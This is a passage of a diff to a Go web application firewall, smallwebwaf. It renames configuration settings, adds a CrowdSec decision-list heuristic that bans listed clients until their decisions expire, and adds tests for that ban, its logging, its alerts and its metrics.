s, _, _ = startWithClock(t, "", map[string]string{coreRuleSetMode: off}) s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
line = s.request( line = s.request(
client, client,
sqlInjection, sqlInjection,
@@ -276,14 +268,14 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
wantCoreRuleSet(t, line, nil) wantCoreRuleSet(t, line, nil)
} }
func TestCoreRuleSetScoreThreshold(t *testing.T) { func TestAnomalyThreshold(t *testing.T) {
t.Parallel() t.Parallel()
// A score under the threshold, or with the threshold off, is logged, // A score under the threshold, or with the threshold off, is logged,
// and refuses nothing. // and refuses nothing.
for _, threshold := range []string{"6", off} { for _, threshold := range []string{"6", off} {
s, _, _ := startWithClock(t, "", map[string]string{ s, _, _ := startWithClock(t, "", map[string]string{
coreRuleSetMode: block, coreRuleSetScoreThreshold: threshold, wafMode: block, wafAnomalyThreshold: threshold,
}) })
line := s.request( line := s.request(
@@ -296,7 +288,7 @@ func TestCoreRuleSetScoreThreshold(t *testing.T) {
} }
s, _, _ := startWithClock(t, "", map[string]string{ s, _, _ := startWithClock(t, "", map[string]string{
coreRuleSetMode: block, coreRuleSetScoreThreshold: "5", wafMode: block, wafAnomalyThreshold: "5",
}) })
s.request(client, sqlInjection, http.StatusForbidden, s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet) requestlog.ActionBlockedByCoreRuleSet)
@@ -342,7 +334,7 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
s, _, _ := startWithClock( s, _, _ := startWithClock(
t, t,
"", "",
map[string]string{coreRuleSetMode: block}, map[string]string{wafMode: block},
) )
line, _ := s.requestWithBody( line, _ := s.requestWithBody(
request.method, request.method,
@@ -357,7 +349,7 @@ func TestDisabledRulesSwitchOffWhatGiteaWouldBeRefused(t *testing.T) {
// A list given replaces the default. // A list given replaces the default.
s, _, _ = startWithClock(t, "", map[string]string{ s, _, _ = startWithClock(t, "", map[string]string{
coreRuleSetMode: block, coreRuleSetDisabledRules: "942100", wafMode: block, wafDisabledRules: "942100",
}) })
score := 5 * len(request.ruleIDs) score := 5 * len(request.ruleIDs)
line, _ = s.requestWithBody( line, _ = s.requestWithBody(
@@ -391,7 +383,7 @@ func TestGiteasFixesApplyOnlyToAHostnameThatServesGitea(t *testing.T) {
const fileName = "/?path=.gitignore" const fileName = "/?path=.gitignore"
s := startWAF(t, "", map[string]string{ s := startWAF(t, "", map[string]string{
coreRuleSetMode: block, apps: siteA + ":gitea", wafMode: block, apps: siteA + ":gitea",
}) })
wantDisposition(t, do(t, s.question(siteA, client, fileName)), wantDisposition(t, do(t, s.question(siteA, client, fileName)),
@@ -417,17 +409,13 @@ func TestAttackInAFormBodyIsRefusedOnlyWhileBodiesAreRead(t *testing.T) {
header := "Content-Type: " + formData + "\r\nContent-Length: " + header := "Content-Type: " + formData + "\r\nContent-Length: " +
strconv.Itoa(len(body)) strconv.Itoa(len(body))
s, _, _ := startWithClock( s, _, _ := startWithClock(t, "", map[string]string{wafMode: block})
t,
"",
map[string]string{coreRuleSetMode: block},
)
line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body, line, _ := s.requestWithBody(http.MethodPost, client, "/", header, body,
http.StatusOK, requestlog.ActionForward) http.StatusOK, requestlog.ActionForward)
wantCoreRuleSet(t, line, new(0)) wantCoreRuleSet(t, line, new(0))
s, _, _ = startWithClock(t, "", map[string]string{ s, _, _ = startWithClock(t, "", map[string]string{
coreRuleSetMode: block, coreRuleSetBodyInspectionSize: sizeLimitSetting, wafMode: block, wafBodyLimit: sizeLimitSetting,
}) })
line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body, line, _ = s.requestWithBody(http.MethodPost, client, "/", header, body,
http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet) http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet)
@@ -444,7 +432,7 @@ func TestBodiesReachTheAppAsSentWhileBodiesAreRead(t *testing.T) {
_, _ = w.Write(body) _, _ = w.Write(body)
}) })
addr, out := startProxy(t, app.URL, map[string]string{ addr, out := startProxy(t, app.URL, map[string]string{
coreRuleSetMode: block, coreRuleSetBodyInspectionSize: sizeLimitSetting, wafMode: block, wafBodyLimit: sizeLimitSetting,
}) })
longer := "a=" + strings.Repeat("b", 64*sizeLimit) longer := "a=" + strings.Repeat("b", 64*sizeLimit)
@@ -508,11 +496,7 @@ func TestResponsesAreNotInspected(t *testing.T) {
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) { app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
_, _ = w.Write([]byte(page)) _, _ = w.Write([]byte(page))
}) })
addr, out := startProxy( addr, out := startProxy(t, app.URL, map[string]string{wafMode: block})
t,
app.URL,
map[string]string{coreRuleSetMode: block},
)
got := get(t, addr, "/owner/repo/raw/branch/main/build.sh") got := get(t, addr, "/owner/repo/raw/branch/main/build.sh")
if got.status != http.StatusOK || string(got.body) != page { if got.status != http.StatusOK || string(got.body) != page {
@@ -526,13 +510,13 @@ func TestResponsesAreNotInspected(t *testing.T) {
wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward) wantLine(t, out.endedLine(t), http.StatusOK, requestlog.ActionForward)
} }
func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheRefusalLimit( func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheErrorBurst(
t *testing.T, t *testing.T,
) { ) {
t.Parallel() t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{ s, _, server := startWithClock(t, "", map[string]string{
coreRuleSetMode: block, refusalsLimitPerMinute: "2", metricsToken: token, wafMode: block, errorBurstThreshold: "2", metricsToken: token,
}) })
for range 2 { for range 2 {
@@ -540,7 +524,7 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheRefusalLimit(
requestlog.ActionBlockedByCoreRuleSet) requestlog.ActionBlockedByCoreRuleSet)
} }
// The third refusal in a minute breaks the refusal limit, and bans the // The third refusal in a minute breaks the error burst, and bans the
// client. // client.
line := s.request(client, sqlInjection, http.StatusForbidden, line := s.request(client, sqlInjection, http.StatusForbidden,
requestlog.ActionBlockedByCoreRuleSet) requestlog.ActionBlockedByCoreRuleSet)
@@ -582,13 +566,13 @@ func TestCoreRuleSetRefusalIsAnOffenceAndCountsTowardTheRefusalLimit(
) )
} }
func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheRefusalLimit( func TestDetectModeMatchIsNoOffenceAndNotCountedTowardTheErrorBurst(
t *testing.T, t *testing.T,
) { ) {
t.Parallel() t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{ s, _, server := startWithClock(t, "", map[string]string{
coreRuleSetMode: detect, refusalsLimitPerMinute: "2", metricsToken: token, wafMode: detect, errorBurstThreshold: "2", metricsToken: token,
}) })
for range 3 { for range 3 {
@@ -624,7 +608,7 @@ func TestObserveModeLogsWhatTheCoreRuleSetWouldDo(t *testing.T) {
s, _, server := startWithClock( s, _, server := startWithClock(
t, t,
"", "",
map[string]string{coreRuleSetMode: block, mode: observe}, map[string]string{wafMode: block, mode: observe},
) )
line := s.request( line := s.request(
@@ -656,15 +640,15 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
action, alertMode string action, alertMode string
}{ }{
{ {
"block", map[string]string{coreRuleSetMode: block}, "block", map[string]string{wafMode: block},
http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet, "", http.StatusForbidden, requestlog.ActionBlockedByCoreRuleSet, "",
}, },
{ {
"detect", map[string]string{coreRuleSetMode: detect}, "detect", map[string]string{wafMode: detect},
http.StatusOK, requestlog.ActionForward, detect, http.StatusOK, requestlog.ActionForward, detect,
}, },
{ {
"block in observe mode", map[string]string{coreRuleSetMode: block, mode: observe}, "block in observe mode", map[string]string{wafMode: block, mode: observe},
http.StatusOK, requestlog.ActionForward, observe, http.StatusOK, requestlog.ActionForward, observe,
}, },
} { } {
@@ -699,7 +683,7 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
Client: netip.MustParseAddr(client), Client: netip.MustParseAddr(client),
Netblock: netip.MustParsePrefix(client + "/32"), Netblock: netip.MustParsePrefix(client + "/32"),
Reason: "scored by the Core Rule Set at or over " + Reason: "scored by the Core Rule Set at or over " +
"SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD", "SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD",
Detail: detail, Detail: detail,
}) })
internal/waf/countries_test.go
+9 -10
View File
@@ -54,7 +54,7 @@ func TestCountryLists(t *testing.T) {
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
env := map[string]string{ env := map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000", lookupTimeout: "1h",
} }
maps.Copy(env, tc.env) maps.Copy(env, tc.env)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env) addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -109,7 +109,7 @@ func TestCountryRefusalNamesItsHeuristicCountryAndSetting(t *testing.T) {
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
s, _, _ := startWithClock(t, geojsURL, map[string]string{ s, _, _ := startWithClock(t, geojsURL, map[string]string{
asnAndCountryLookupTimeout: "3600000", allowedCountries: "de", lookupTimeout: "1h", allowedCountries: "de",
}) })
line := s.get( line := s.get(
@@ -148,7 +148,7 @@ func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) {
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{ addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000", lookupTimeout: "1h",
allowedCountries: "de", allowedCountries: "de",
}) })
@@ -199,7 +199,7 @@ func TestRequestRefusedByCountryIsNotCounted(t *testing.T) {
app := startApp(t, func(http.ResponseWriter, *http.Request) {}) app := startApp(t, func(http.ResponseWriter, *http.Request) {})
addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{ addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000", lookupTimeout: "1h",
allowedCountries: "de", allowedCountries: "de",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
}) })
@@ -249,7 +249,7 @@ func TestPrivateAddressIsNeverLookedUp(t *testing.T) {
geojsURL, asked := startGeoJS(t) geojsURL, asked := startGeoJS(t)
env := map[string]string{ env := map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000", lookupTimeout: "1h",
} }
maps.Copy(env, tc.env) maps.Copy(env, tc.env)
addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env) addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env)
@@ -352,11 +352,10 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
// startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP, // startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP,
// each in an AS of its own, and no other address. It returns its URL, and // each in an AS of its own, and no other address. It returns its URL, and
// what returns the addresses it has been asked about. A test that needs // what returns the addresses it has been asked about. A test that needs
// the stand-in to be asked or to answer sets // the stand-in to be asked or to answer sets SWW_WAF_LOOKUP_TIMEOUT to an
// SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS to an hour, whether or not a // hour, whether or not a request waits for the answer: on the default, a
// request waits for the answer: on the default, a hold-up of the test // hold-up of the test process can abandon the request to the stand-in, and
// process can abandon the request to the stand-in, and leave the client // leave the client unknown.
// unknown.
func startGeoJS(t *testing.T) (string, func() []string) { func startGeoJS(t *testing.T) (string, func() []string) {
t.Helper() t.Helper()
internal/waf/crowdsec.go
+54
View File
@@ -0,0 +1,54 @@
package waf
// The heuristic crowdsec. It reads SWW_WAF_CROWDSEC_LAPI_URL, and the decisions
// through the reputation lists.
import (
"context"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// crowdSec refuses a request when a decision of the CrowdSec decision list on
// the client is in force at now. It then adds the tag crowdsec, notes the
// list, as noteHit does, and bans the client until that decision ends. Its
// figures are the decision's scenario and when it ends.
type crowdSec struct{}
func (crowdSec) name() string { return "crowdsec" }
func (crowdSec) check(
_ context.Context,
rq *request,
now time.Time,
) *verdict {
decision, listed := rq.crowdSecDecisionInForce(now)
if !listed {
return nil
}
rq.addTag(config.CrowdSecTag)
rq.noteHit(bans.ReputationHit{Source: rq.h.config.CrowdSecDecisionsURL},
"listed by the CrowdSec decision list")
return &verdict{
action: rq.banForCrowdSec(now, decision),
figures: map[string]any{
"scenario": decision.Scenario,
"expires": requestlog.FormatTime(decision.Expires),
},
}
}
// crowdSecDecisionInForce returns the decision of the CrowdSec decision list on
// the client that is in force at now, and reports whether there is one, which
// the heuristic crowdsec refuses the request for.
func (rq *request) crowdSecDecisionInForce(
now time.Time,
) (reputation.Decision, bool) {
return rq.h.lists.CrowdSecDecision(rq.client, now)
}
internal/waf/crowdsec_test.go
+249
View File
@@ -0,0 +1,249 @@
package waf_test
import (
"net/http"
"net/netip"
"reflect"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
)
// The CrowdSec settings, and the tests' engine, which is never asked: each
// test puts in the copy of its decision list, at decisionsURL, that it
// needs, as lists.json would at start.
const (
crowdSecURL = "SWW_WAF_CROWDSEC_LAPI_URL"
crowdSecKey = "SWW_WAF_CROWDSEC_LAPI_KEY"
lapi = "http://crowdsec.example:8080"
decisionsURL = lapi + "/v1/decisions"
bouncerKey = "crowdsec-key-0123456789abcdef"
)
func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(
t *testing.T,
) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
crowdSecURL: lapi, crowdSecKey: bouncerKey, metricsToken: token,
})
// client had four hours left on its decision as the engine answered.
fetched := clk.Now()
loadDecisions(t, server, fetched, `[{"duration": "4h0m0s", `+
`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
`"value": "`+client+`"}]`)
expires := requestlog.FormatTime(fetched.Add(4 * time.Hour))
// Its first request is refused, and bans it until the decision ends.
banned := requestlog.ActionTemporarilyBanned
line := s.get(client, http.StatusForbidden, banned)
wantReputation(t, line, decisionsURL)
if line.BanExpires != expires {
t.Errorf("log line has ban_expires %q, want %s",
line.BanExpires, expires)
}
listed := []bans.ReputationHit{{Source: decisionsURL}}
held := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
if len(held) != 1 || held[0].Cause != bans.CauseCrowdSec ||
!held[0].Start.Equal(fetched) ||
!held[0].Expires.Equal(fetched.Add(4*time.Hour)) ||
held[0].Reason != "CrowdSec's decision for crowdsecurity/ssh-bf" ||
!reflect.DeepEqual(held[0].Notes.Reputation, listed) ||
held[0].Notes.Request.Path != "/" || held[0].Notes.Requests != 1 {
t.Fatalf(
"bans %+v, want one for crowdsec of four hours, with the list and "+
"the request in its notes",
held,
)
}
// The listing raises a reputation_hit alert, and the ban its own.
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 2 || waiting[0].Event != alerts.EventReputationHit ||
waiting[0].Reason != "listed by the CrowdSec decision list" ||
!reflect.DeepEqual(
waiting[1],
banAlert(alerts.EventBan, fetched, client, held[0],
expires),
) {
t.Errorf(
"alerts waiting %+v, want a reputation_hit alert, then the ban's",
waiting,
)
}
// Each request while the ban lasts is refused under it, as under any
// ban, and once it has ended the client is let through.
clk.advance(4*time.Hour - time.Second)
line = s.get(client, http.StatusForbidden, banned)
wantReputation(t, line)
if line.BanExpires != expires {
t.Errorf("log line has ban_expires %q, want %s",
line.BanExpires, expires)
}
clk.advance(time.Second)
s.get(client, http.StatusOK, requestlog.ActionForward)
// The ban and the hit are counted, and the list has the metrics of any
// list fetched from a URL.
metrics := s.scrape()
labels := `{instance="` + alertInstance + `",source="` + decisionsURL + `"}`
wantMetric(t, metrics, `sww_bans_made_total{cause="crowdsec",`+
`instance="`+alertInstance+`"}`, 1)
wantMetric(t, metrics, "sww_reputation_hits_total"+labels, 1)
wantMetric(t, metrics, "sww_reputation_failures_total"+labels, 0)
wantMetric(
t,
metrics,
"sww_reputation_last_fetch_timestamp_seconds"+labels,
float64(fetched.Unix()),
)
}
func TestCrowdSecBanNamesItsHeuristicScenarioAndEnd(t *testing.T) {
t.Parallel()
s, clk, server, _ := startWithAlerts(t, map[string]string{
crowdSecURL: lapi, crowdSecKey: bouncerKey,
})
loadDecisions(t, server, clk.Now(), `[{"duration": "4h0m0s", `+
`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
`"value": "`+client+`"}]`)
line := s.get(
client,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
wantHeuristic(
t,
line,
"crowdsec",
`{"scenario": "crowdsecurity/ssh-bf", `+
`"expires": "`+requestlog.FormatTime(clk.Now().Add(4*time.Hour))+`"}`,
)
wantTags(t, line, "crowdsec")
}
func TestEndedCrowdSecDecisionNoLongerBansThoughTheCopyStillHoldsIt(
t *testing.T,
) {
t.Parallel()
s, clk, server := startWithClock(t, "", map[string]string{
crowdSecURL: lapi, crowdSecKey: bouncerKey,
})
// 198.51.100.0/24 and 2001:db8::9 had a minute left as the engine
// answered.
fetched := clk.Now()
loadDecisions(t, server, fetched, `[{"duration": "1m0s", `+
`"scenario": "crowdsecurity/http-probing", "scope": "Range", "type": "ban", `+
`"value": "198.51.100.0/24"}, {"duration": "1m0s", `+
`"scenario": "crowdsecurity/http-probing", "scope": "Ip", "type": "ban", `+
`"value": "2001:db8::9"}]`)
// Just before its end, the decision bans a client in the netblock, and
// one on an IPv6 address bans the address's group, the /64.
clk.advance(time.Minute - time.Nanosecond)
s.get(
"198.51.100.7",
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
s.get(
"2001:db8::9",
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
s.get(
"2001:db8::5",
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
// Once it has ended, it bans no other client, and the bans it made end
// with it.
clk.advance(time.Nanosecond)
for _, from := range []string{"198.51.100.8", "198.51.100.7", "2001:db8::5"} {
wantReputation(
t,
s.get(from, http.StatusOK, requestlog.ActionForward),
)
}
if made := server.Ledger.Made(bans.CauseCrowdSec); made != 2 {
t.Errorf(
"%d bans made for crowdsec, want 2, on 198.51.100.7/32 and "+
"2001:db8::/64",
made,
)
}
if held := server.Ledger.Bans(netip.MustParsePrefix("2001:db8::/64")); len(
held,
) != 1 {
t.Errorf("bans of 2001:db8::/64 %+v, want one", held)
}
}
func TestObserveModeForwardsAClientTheCrowdSecDecisionListListsAndAlertsTheBan(
t *testing.T,
) {
t.Parallel()
s, clk, server, queue := startWithAlerts(t, map[string]string{
crowdSecURL: lapi, crowdSecKey: bouncerKey, mode: observe,
})
loadDecisions(t, server, clk.Now(), `[{"duration": "4h0m0s", `+
`"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+
`"value": "`+client+`"}]`)
line := s.get(client, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionTemporarilyBanned)
wantReputation(t, line, decisionsURL)
if held := server.Ledger.Snapshot(); len(held) != 0 {
t.Errorf("bans %+v, want none", held)
}
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != 2 || waiting[1].Event != alerts.EventBan ||
waiting[1].Detail["cause"] != bans.CauseCrowdSec ||
waiting[1].Detail["mode"] != observe {
t.Errorf(
"alerts waiting %+v, want a reputation_hit alert, then the ban alert "+
"marked observe",
waiting,
)
}
}
// loadDecisions puts into server's lists the copy of the decision list at
// decisionsURL, answer, the engine's answer, fetched at fetched, as
// lists.json would at start.
func loadDecisions(
t *testing.T, server *waf.Server, fetched time.Time, answer string,
) {
t.Helper()
err := server.Lists.Load([]reputation.List{{
URL: decisionsURL, Tried: fetched, Fetched: fetched, Lines: []string{answer},
}})
if err != nil {
t.Fatalf("load the decision list: %v", err)
}
}
internal/waf/dnsbl.go
+3 -3
View File
@@ -1,6 +1,6 @@
package waf package waf
// The heuristic dnsbl. It reads SWW_WAF_DNSBL_ABUSEIPDB_ACTION, and the DNSBL zones' // The heuristic dnsbl. It reads SWW_WAF_REPUTATION_ACTION, and the DNSBL zones'
// verdicts through the DNSBL checker. // verdicts through the DNSBL checker.
import ( import (
@@ -14,7 +14,7 @@ import (
// dnsbl notes the DNSBL zones whose verdict lists the client, as noteListed // dnsbl notes the DNSBL zones whose verdict lists the client, as noteListed
// does, adds the tag dnsbl=<zone> for each, the zone's key masked, and refuses // does, adds the tag dnsbl=<zone> for each, the zone's key masked, and refuses
// the request when SWW_WAF_DNSBL_ABUSEIPDB_ACTION is deny. Being // the request when SWW_WAF_REPUTATION_ACTION is deny. Being
// limit, it lowers the client's limits instead (see limitPercentages), and // limit, it lowers the client's limits instead (see limitPercentages), and
// being log, it does nothing more. A zone without a verdict on the client is // being log, it does nothing more. A zone without a verdict on the client is
// asked about it in the background, and the request does not wait for the // asked about it in the background, and the request does not wait for the
@@ -32,7 +32,7 @@ func (dnsbl) check(ctx context.Context, rq *request, _ time.Time) *verdict {
rq.addTag(config.DNSBLTagPrefix + strings.ToLower(zone)) rq.addTag(config.DNSBLTagPrefix + strings.ToLower(zone))
} }
if !rq.dnsblListed || rq.h.config.DNSBLAbuseIPDBAction != deny { if !rq.dnsblListed || rq.h.config.ReputationAction != deny {
return nil return nil
} }
internal/waf/heuristics.go
+2 -1
View File
@@ -7,7 +7,7 @@ import (
// To add a heuristic, write one file with a type that implements heuristic, // To add a heuristic, write one file with a type that implements heuristic,
// and add one line for it to one of the lists below. Its settings go in // and add one line for it to one of the lists below. Its settings go in
// config.WAF, and the comment at the top of its file names them. // config.Config, and the comment at the top of its file names them.
// heuristic is one of the checks that decide what waf does with a // heuristic is one of the checks that decide what waf does with a
// request. // request.
@@ -60,6 +60,7 @@ func afterLookup() []heuristic {
return []heuristic{ return []heuristic{
countries{}, countries{},
blocklists{}, blocklists{},
crowdSec{},
dnsbl{}, dnsbl{},
abuseIPDB{}, abuseIPDB{},
tagDeny{}, tagDeny{},
internal/waf/history_test.go
+1 -1
View File
@@ -18,7 +18,7 @@ func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) {
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
s, clk, server := startWithClock(t, geojsURL, map[string]string{ s, clk, server := startWithClock(t, geojsURL, map[string]string{
asnAndCountryLookupTimeout: "3600000", lookupTimeout: "1h",
rateLimitPerMinute: "2", rateLimitPerMinute: "2",
tagDeny: denyKP, tagDeny: denyKP,
}) })
internal/waf/lookup_test.go
+5 -9
View File
@@ -5,7 +5,6 @@ import (
"net/netip" "net/netip"
"path/filepath" "path/filepath"
"slices" "slices"
"strconv"
"sync" "sync"
"testing" "testing"
"testing/synctest" "testing/synctest"
@@ -35,7 +34,7 @@ func TestEveryClientIsLookedUpWithoutWaitingWhileNoSettingNeedsIt(
// waitLimit. // waitLimit.
geojsURL, asked, release := startHeldGeoJS(t) geojsURL, asked, release := startHeldGeoJS(t)
s, _, server := startWithClock(t, geojsURL, map[string]string{ s, _, server := startWithClock(t, geojsURL, map[string]string{
asnAndCountryLookupTimeout: "3600000", lookupTimeout: "1h",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
}) })
@@ -106,7 +105,7 @@ func TestRequestThatWaitedForItsLookupIsCountedWhenItGoesOn(t *testing.T) {
addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now, addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now,
map[string]string{ map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000", lookupTimeout: "1h",
tagDeny: denyKP, tagDeny: denyKP,
}) })
@@ -366,7 +365,7 @@ func TestLookupHeadersArePassedToTheAppAndTheClientsOwnRemoved(
time.Now, time.Now,
map[string]string{ map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
asnAndCountryLookupTimeout: "3600000", lookupTimeout: "1h",
addLookupHeaders: on, addLookupHeaders: on,
}, },
) )
@@ -438,9 +437,7 @@ func TestClientsOwnLookupHeadersAreRemovedWhileTheSettingIsOff(
} }
} }
func TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays( func TestRequestWaitsAsLongAsTheLookupTimeoutSays(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
// The test runs in a synctest bubble, where the time package runs on a // The test runs in a synctest bubble, where the time package runs on a
@@ -455,8 +452,7 @@ func TestRequestWaitsAsLongAsTheASNAndCountryLookupTimeoutSays(
server, out, _ := newWAF(t, silentGeoJSURL, time.Now, server, out, _ := newWAF(t, silentGeoJSURL, time.Now,
map[string]string{ map[string]string{
asnAndCountryLookupTimeout: strconv.FormatInt( lookupTimeout: timeout.String(),
timeout.Milliseconds(), 10),
allowedCountries: "DE", allowedCountries: "DE",
}) })
internal/waf/metrics_test.go
+7 -9
View File
@@ -18,8 +18,7 @@ import (
const ( const (
metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name
metricsTopN = "SWW_WAF_METRICS_TOP_N"
metricsBusiestCountriesAndASNs = "SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS"
// token is the SWW_WAF_METRICS_TOKEN the tests set, and bearer how a // token is the SWW_WAF_METRICS_TOKEN the tests set, and bearer how a
// request carries it. // request carries it.
token = "0123456789abcdef0123456789abcdef" token = "0123456789abcdef0123456789abcdef"
@@ -139,7 +138,7 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
denyNets: denied, denyNets: denied,
banResponse: banResponseClose, banResponse: banResponseClose,
limitBanDuration: "1h", limitBanDuration: "1h",
limitBanPermanentAbove: "2h", maxBanDuration: "2h",
}) })
// SWW_WAF_BAN_RESPONSE=close sends no status at all. // SWW_WAF_BAN_RESPONSE=close sends no status at all.
@@ -177,7 +176,7 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
wantMetric(t, s.scrape(), `sww_active_bans{instance="app"}`, 0) wantMetric(t, s.scrape(), `sww_active_bans{instance="app"}`, 0)
// A limit broken again right after would ban for three hours, longer // A limit broken again right after would ban for three hours, longer
// than SWW_WAF_LIMIT_BAN_PERMANENT_ABOVE, so the ban is permanent. // than SWW_WAF_MAX_BAN_DURATION, so the ban is permanent.
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, 0, requestlog.ActionClientIsRateLimited) s.get(client, 0, requestlog.ActionClientIsRateLimited)
@@ -239,7 +238,7 @@ func TestMetricsByCountryKeepTheBusiestAndCountTheRestAsOther(t *testing.T) {
env := map[string]string{ env := map[string]string{
trustedProxies: trustLocalhost, trustedProxies: trustLocalhost,
metricsToken: token, metricsToken: token,
metricsBusiestCountriesAndASNs: "2", metricsTopN: "2",
allowedCountries: "de,fr", allowedCountries: "de,fr",
} }
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
@@ -324,7 +323,7 @@ func TestMetricsByASNumberKeepTheBusiestAndCountTheRestAsOther(
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
s, clk, server := startWithClock(t, geojsURL, map[string]string{ s, clk, server := startWithClock(t, geojsURL, map[string]string{
metricsToken: token, metricsToken: token,
metricsBusiestCountriesAndASNs: "1", metricsTopN: "1",
}) })
// The answers are kept before the requests, so that GeoJS gives none // The answers are kept before the requests, so that GeoJS gives none
@@ -380,9 +379,8 @@ func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) {
req.Header.Set(forwardedFor, fromDE) req.Header.Set(forwardedFor, fromDE)
wantStatus(t, do(t, req), http.StatusOK) wantStatus(t, do(t, req), http.StatusOK)
// The client stops waiting for GeoJS once // The client stops waiting for GeoJS once SWW_WAF_LOOKUP_TIMEOUT is up, so
// SWW_WAF_ASN_AND_COUNTRY_LOOKUP_TIMEOUT_MS is up, so GeoJS's failure can // GeoJS's failure can come after its request has ended.
// come after its request has ended.
deadline := time.Now().Add(waitLimit) deadline := time.Now().Add(waitLimit)
metrics := scrape(t, server.Addr) metrics := scrape(t, server.Addr)
internal/waf/observe_test.go
+1 -1
View File
@@ -149,7 +149,7 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
env := map[string]string{ env := map[string]string{
asnAndCountryLookupTimeout: "3600000", lookupTimeout: "1h",
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
denyNets: denied, denyNets: denied,
tagDeny: denyKP, tagDeny: denyKP,
internal/waf/proxy.go
+23 -33
View File
@@ -47,7 +47,7 @@ const ClientsPath = "/_sww/clients/"
// Params are what New needs. // Params are what New needs.
type Params struct { type Params struct {
Config *config.WAF Config *config.Config
